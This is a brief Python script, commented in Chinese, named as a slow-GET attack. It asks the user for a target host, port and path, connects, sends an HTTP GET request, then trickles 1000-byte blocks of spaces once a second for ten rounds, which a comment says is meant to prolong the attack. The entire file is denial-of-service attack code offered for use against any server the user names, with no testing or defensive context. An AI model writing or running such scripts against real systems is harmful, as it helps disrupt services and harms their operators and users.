import socket
import time

def slow_get_attack():
    # 获取用户输入
    target_host = input("请输入目标主机: ")
    target_port = int(input("请输入目标端口: "))
    path = input("请输入请求路径: ")

    # 构造HTTP GET请求
    request = f"GET {path} HTTP/1.1\r\nHost: {target_host}\r\n\r\n"

    # 创建socket对象
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标服务器
        client.connect((target_host, target_port))

        # 发送GET请求
        client.sendall(request.encode())

        # 以慢速发送数据
        for _ in range(10):  # 重复10次以延长攻击
            time.sleep(1)
            client.sendall(b" " * 1000)

        # 读取响应
        response = client.recv(4096)
        print(response.decode())  # 如果需要，打印响应

    finally:
        # 关闭socket
        client.close()

# 调用函数
slow_get_attack()